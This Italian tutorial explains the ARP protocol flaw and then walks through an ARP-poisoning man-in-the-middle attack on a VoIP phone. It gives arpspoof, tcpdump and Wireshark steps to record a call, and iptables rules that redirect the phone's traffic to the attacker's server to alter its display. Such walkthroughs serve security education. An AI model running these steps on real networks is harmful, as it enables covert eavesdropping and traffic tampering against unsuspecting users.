cyber-security

Attacco Man-In-The-Middle: ARP Poison

Indice dei contenuti

ARPPOISON

Mantenere un sistema operativo aggiornato, installando patch di sicurezza ed appliance firewall, non garantisce protezione dagli attacchi provenienti dalla rete locale.

 
Un Hacker, può sfruttare le vulnerabilità del protocollo ARP (Address Resolution Protocol), per dirottare una connessione Internet e prenderne il controllo.
 
Per inviare un pacchetto IP, un host ha bisogno di conoscere l’indirizzo MAC del suo next-hop, ovvero del primo dispositivo a cui deve inoltrare i dati, affinchè questi ultimi giungano a destinazione.

Comunicando con una macchina presente su Internet, il next-hop è generalmente il proprio gateway predefinito, quando invece la trasmissione avviene tra due sistemi della stessa rete/sottorete, il MAC address, memorizzato nel frame Ethernet dove è incapsulato il pacchetto IP, può essere quello del dispositivo di destinazione.

Attenendosi a questa regola, deduciamo che ad ogni hop, mentre gli indirizzi IP sorgente e destinazione rimangono invariati, quelli MAC mutano costantemente:

MITM1
Per ricavarli, gli host utilizzano il protocollo ARP, inviando messaggi (di tipo ARP request) broadcast all’indirizzo FF:FF:FF:FF:FF:FF, a cui segue un risposta unicast (ARP reply) diretta all’indirizzo MAC sorgente, ed originata dal sistema il cui indirizzo IP compare nella richiesta:

MITM2
Queste informazioni, vengono memorizzare nella tabella ARP, che sui sistemi Linux può essere ispezionata con il comando “arp -n”:

MITM3
La vulnerabilità che affligge questo protocollo, è causata dal fatto che un host aggiorna la propria cache ARP alla ricezione di ogni ARP reply, pur non avendo processato precedentemente la corrispettiva ARP request.

In questo scenario, un Hacker può facilmente dirottare l’instradamento del traffico di rete, inoltrando al sistema da attaccare pacchetti di tipo “ARP reply” generati ad-hoc, ed impostando quindi il suo MAC address come next-hop, al fine di poter leggere e modificare i dati in transito prima di reinoltrarli al gateway legittimo:
MITM4
L’attacco Man-In-The-Middle, operando a livello 2 del modello OSI, è attualmente una delle vulnerabilità più pericolose, ed affligge la quasi totalità dei device connessi all’interno di una rete (PC, smartphone, stampanti, smartwatch, ecc.).

Vediamo ora un esempio pratico, dettagliando un attacco verso un telefono VOIP, con l’obiettivo di registrare una conversazione ed alterare le informazioni visibili sul display.

I tool che andremo ad utilizzare sono:

– arpspoof: Applicazione capace di generare pacchetti “ARP reply” contraffatti;
– tcpdump / wireshark:  Sniffer;
– iptables: Stumento per gestire il traffico di rete e manipolare gli header dei pacchetti IP;
– lwp-request: User agent per eseguire query da riga da comando verso Web server;

Possono essere installati con questi comandi:

apt-get update
apt-get install dsniff tcpdump iptables wireshark libwww-perl

La prima fase, consiste nell’abilitare la “feature” di IP Forwarding del Kernel Linux, in quanto dovremmo reinoltrare al vero gateway il traffico dirottato verso la nostra postazione:

echo 1 > /proc/sys/net/ipv4/ip_forward

Successivamente, avviando in una shell “arpspoof”, modificheremo il routing dei dati trasmessi dal telefono, comunicandogli “ARP reply” che contengono l’IP del vero gateway ma con il nostro MAC address:

arpspoof -i eth0 -t IP_VITTIMA IP_GATEWAY

In un nuovo terminale, non rimane altro da fare che eseguire lo sniffer, e generare un log di tutto il traffico catturato.

Per questione di praticità, utilizzeremo inizialmente “tcpdump” e successivamente “wireshark”, ma solo per decodificare il flusso RTP e generare un file audio:

tcpdump -n -i eth0 -w mitm.pcap host IP_VITTIMA

Per estrapolare la conversazione dal file “mitm.pcap”, avviare “wireshark” e selezionare la voce “Telephony->RTP->Show All Streams”.

Dopo aver evidenziato lo stream, cliccare sul pulsante “Analyze”:

MITM5b

quindi “Player”, e successivamente “Decode”.

A questo punto, basterà abilitare la checkbox relativa al flusso da ascoltare e premere “Play”.

MITM6

Vediamo adesso come sia possibile modificare i dati in transito, ed alterare le informazioni presenti sul display:

MITM7

Il telefono, acquisisce da un server remoto le informazioni relative alle condizioni meteo, quindi nel dump che abbiamo registrato precedentemente, ci sarà traccia delle operazioni eseguite dal dispositivo.

Analizzandolo con “tcpdump”:

tcpdump -r mitm.pcap -A

Verificheremo alcune query sul DNS verso il dominio “xml.weather.yahoo.com” e successivamente una connessione HTTP al sito “yts1.weather.vip.bf1.yahoo.com”:

MITM8

Possiamo eseguire manualmente la richiesta HTTP ed analizzarne l’output in questo modo:

lwp-request yts1.weather.vip.bf1.yahoo.com/forecastrss?p=ITXX0030 -H 'Host: xml.weather.yahoo.com' -H 'User-Agent: Grandstream Model HW GXP1625 SW 1.0.0.38 DevId 000b827639ed'

Adesso ci risulta chiaro quali sono le informazioni utilizzate e come vengono ottenute:

MITM9

Basterà dunque dirottare il traffico verso un nostro web server, pubblicando un file “index”, incollando l’output della pagina web “yts1.weather.vip.bf1.yahoo.com/forecastrss?p=ITXX0030”, e modificando i tag <yweather:location> e <yweather:condition>

La tecnica più semplice, che non richiede modifiche al DNS, è quella manipolare gli header dei pacchetti IP in transito con “iptables”, facendo in modo che i dati provenienti da 10.2.3.13 (Telefono VOIP) e diretti verso 98.137.204.103 (IP di yts1.weather.vip.bf1.yahoo.com) siano inoltrati a “37.9.231.177” (il nostro web server):

iptables -t nat -A PREROUTING -p tcp -s 10.2.3.213 --dport 80 -j DNAT --to-destination 37.9.231.177:80
iptables -t nat -A OUTPUT -p tcp -d 98.137.204.103 --dport 80 -j DNAT --to-destination 37.9.231.177:80
iptables -A POSTROUTING -t nat -j MASQUERADE

Quando il dispositivo aggiornerà le proprie informazioni, acquisirà quelle contraffatte:

MITM10

CONDIVIDI SUI SOCIAL

5 risposte

  1. Interessante,

    Mi sto chiedendo però se il Mitm è possibile anche se:

    – il router lo utilizzo come modem (disattivando il wifi e connettendomi solo via cavo)

    – come connessione uso l’hotspot wifi del telefonino, ovviamente con password wpa2 e impostando un solo utente massimo per la connessione

    Grazie

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

31 − 27 =